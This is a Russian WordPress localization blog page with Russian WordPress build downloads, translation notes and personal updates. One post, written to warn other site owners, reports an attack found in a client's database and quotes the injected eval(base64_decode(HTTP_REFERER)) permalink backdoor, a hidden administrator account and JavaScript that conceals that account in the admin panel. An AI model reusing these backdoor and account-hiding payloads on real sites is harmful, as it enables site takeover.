Русский WordPress 2.9.2 Lecactus Edition

Russian WordPress 2.9.2 Normal

Скачать
Скачали 28617 раз

Патч для обновления WordPress 2.9.1 до 2.9.2

Скачать
Скачали 3833 раз

269 комментариев

Распределённый хостинг для WordPress сайта

ksn тут на днях показал как он решил с толком использовать свой быстрый домашний сервер с узким интернет-каналом и довольно тормозной (по части генерации страниц, но очень быстро отдающий «статику») сервер на IIS (хостинг Мастерхост) в единой связке. Сначала идея мне показалась абсурдной, но после того как я убедился что его сайт действительно стал «летать», то подумал что кому то эта реализация может показаться тоже интересной и полезной. Например если у вас есть два хостига с различными параметрами, где в одном месте вам дается огромное пространство и неограниченный трафик, но там жутко тормозит PHP и очень мало выделяется ресурсов, а в другом все очень быстрое, но мало места на диске.

В общем, рекомендую заинтересованным лицам к прочтению его статью Распределённый трафик (для блога WordPress) (вопросы и предложения можно задать там же)

Комментарии к записи Распределённый хостинг для WordPress сайта отключены

Русский WordPress 2.8.6 Lecactus Edition

Russian WordPress 2.8.6 Powerpack

Скачать
Скачали 37608 раз

Russian WordPress 2.8.6 Normal

Скачать
Скачали 15168 раз

Патч для обновления WordPress 2.8.4 до 2.8.5

Скачать
Скачали 3743 раз

Патч для обновления WordPress 2.8.5 до 2.8.6

Скачать
Скачали 3289 раз

496 комментариев

Ахтунг! Атаки на WordPress блоги

Столкнулся позавчера с одним «глюком» при настройке клиентского блога — криво работали ссылки на комментарии и падал сервер базы данных при попытке отредактировать пользователей в админке. и кстати там показывает вот такую хрень при этом:
wp-ahtung
Phpmyadmin выдает при этом примерно такое:

Lost connection to MySQL server during query

и не отвечает сервер минут 50 после этого…

Погуглил тогда сразу и нашел как исправить ошибки с постоянными ссылками, но сегодня в дампе базы данных обнаружил что там исправляется далеко не все. Ручками повыкашивал разные строки типа:

%25&%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29&%25/
%25&evalbase64_decode_SERVERHTTP_REFERER.%2B&%25/
%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)
%&{${evalbase64_decode$_SERVER[HTTP_REFERER]}}|.+&%/
&%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)
%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/

В базе данных это выглядело примерно так (этот юзер не показывается вообще в админке):

(574, 143, 'rich_editing', 'true'),
(575, 143, 'comment_shortcuts', 'false'),
(576, 143, 'admin_color', 'fresh'),
(577, 143, 'wp_capabilities', 'a:1:{s:13:"administrator";b:1;}'),
(578, 143, 'first_name', '...\n\n\n\n\n\n\n\n\n<div id="user_superuser"><script language="JavaScript">\nvar setUserName = function(){\n try{\n          var t=document.getElementById("user_superuser");\n              while(t.nodeName!="TR"){\n                      t=t.parentNode;\n               };\n            t.parentNode.removeChild(t);\n          var tags = document.getElementsByTagName("H3");\n               var s = " shown below";\n               for (var i = 0; i < tags.length; i++) {\n                       var t=tags[i].innerHTML;\n                      var h=tags[i];\n                        if(t.indexOf(s)>0){\n                           s =(parseInt(t)-1)+s;\n                         h.removeChild(h.firstChild);\n                          t = document.createTextNode(s);\n                               h.appendChild(t);\n                     }\n             }\n             var arr=document.getElementsByTagName("ul");\n          for(var i in arr) if(arr[i].className=="subsubsub"){\n                  var n=/>Administrator ((d+))</gi.exec(arr[i].innerHTML);\n                      if(n[1]>0){\n                           var txt=arr[i].innerHTML.replace(/>Administrator ((d+))</gi,">Administrator ("+(n[1]-1)+")<");\n        arr[i].innerHTML=txt;\n        }\n    }\n          }catch(e){};\n     };\n     addLoadEvent(setUserName);\n</script></div>'),
(573, 143, 'nickname', 'NicolasMager80'),
(570, 1, 'closedpostboxes_dashboard', 'a:1:{i:0;s:0:"";}'),
(571, 1, 'metaboxhidden_dashboard', 'a:3:{i:0;s:17:"dashboard_plugins";i:1;s:17:"dashboard_primary";i:2;s:19:"dashboard_secondary";}'),
(572, 1, 'plugins_last_view', 'all'),
(579, 143, 'wp_user_level', '10');

вот этот поддельный администратор "хакер"

(143, 'NicolasMager80', '$P$BIum3O2v9eAU9dAJRcn23VX2VjnbsG.', 'nicolasmager80', '', '', '2009-09-05 12:41:37', '', 0, 'NicolasMager80');

Сегодня с утра про эту же атаку на блоги прочитал у Дмитрия Донченко тут

так что обновляйтесь регулярно :-)

28 комментариев

Разобрался таки с кривым официальным wordpress.pot

Гуглил, гуглил по разным запросам и нагуглил вот такой хитрый файлик, который типа извлекает все ресурсы как надо. Мне точнее было интересно больше какие ключевые слова используются, т.к. все собирал гуглом по крупицам и вот сейчас наконец POEDIT перестал выдрепываться и заработал как надо при извлечении ресурсов.
Тот файл wordpress.pot что выложен на wordpress.org настолько кривой что вообще лучше его не использовать, т.к. он основан на уже будущей версии 2.9 и к 2.8.* подходит не на 100%

Чем руководствовались авторы? зачем с только премудростей если раньше без них обходились? в официальной документации про это ни слова. там старое бла-бла-бла про

__($message)
и
_e($message)

В общем в версии 2.8.* используется аж вот столько ключевиков для локализации:

__
_e
_c
__ngettext:1,2
_n:1,2
_nc:1,2
__ngettext_noop:1,2
_n_noop:1,2
_x:1,2c
_nx:1,2,4c
_nx_noop:1,2,3c
esc_attr__
esc_attr_e
esc_attr_x:1,2c
esc_html__
esc_html_e
esc_html_x:1,2c

Причем о конструкции некоторых элементов можно было только примерно догадываться и на основе этого гуглить. Также нашел одну тему про это на официальном форуме, но там был вопрос только про один из ключевиков и все.

10 комментариев

Скоро выйду из запоя

Через несколько дней. не надо бомбить в коменты и почту однотипные вопросы. все будет

4 комментария

Пара слов от Кактуса про WP…

1. у меня стало заметно МЕНЬШЕ свободного времени, поэтому не надо кричать в коментах «когда выйдет версия ***» :-( День-два всегда можно подождать, я и сам стал РЕЖЕ обновляться (зачем если и так ВСЕ работало без проблем).
2. по поводу возможных багов в переводах (сапог в авторов кривого выкладываемого wordpress.pot) просьба писать на мыло, а не в коменты. коменты такие будут безжалостно удаляться
3. версии 2.8 и 2.8.1 удалены как устаревшие и уязвимые. вместо них выложена версия 2.8.2 на месте поста 2.8. если найду время лишнее, то напишу таки описание что и как. Самые страждущие уже все равно все нагуглили.
4. состав поверпака будет еще корректироваться, т.к. некоторые плагины более не совместимы с 2.8 + вышли новые интересные, достойные внимания каждого.
5. скорее всего я удалю с сайта старые версии плагинов и оставлю там только их переводы (выложу где надо обновленные), что вполне логично с учетом того как ЧАСТО стали обновляться плагины
6. перевод WPMU 2.8.* еще не готов, т.к. см. пункт 1 + нет спонсоров, которые бы сподвигли меня ускорить процесс, так что еще может даже НЕДЕЛЮ его не будет. Если хотите — можете использовать перевод от «официальной группы», если очень «горит» обновиться. Хотя в подавляющем случае перевод от прошлых версий подходит на 80-90%.
7. я НЕ всем отвечаю на почту, во первых см. пункт 1, во вторых там многда пишут откровенную хрень (лень полистать 5 минут форумы?) на которую и отвечать нет желания.
8. отпуск скоро………………………………………………

17 комментариев

19 минутная болтовня ниочем

Валялся под столом :-) Меня приглашали поучаствовать, но я решил что оно того не стоит. Так оно и вышло. Болтовня вообще ниочем. Самопиар и ничего больше.
слушать тут, если кто пропустил. Там указано что длительность 23 минуты, но в скачанном файле всего 18минут 57секунд. В коментах (они интереснее подкаста) упоминаются какие то «маты» в мой адрес, но я их в скачанном файле не услышал(отредактировали похоже…)

18 комментариев